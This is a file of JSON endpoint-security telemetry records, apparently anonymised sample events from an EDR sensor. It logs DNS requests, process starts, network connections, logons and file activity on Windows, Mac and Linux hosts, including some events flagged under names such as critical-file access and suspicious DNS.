-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} -{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} -{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} -{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} -{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} -{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} -{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} -{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} -{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} -{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} -{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} -{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} -{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} -{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} 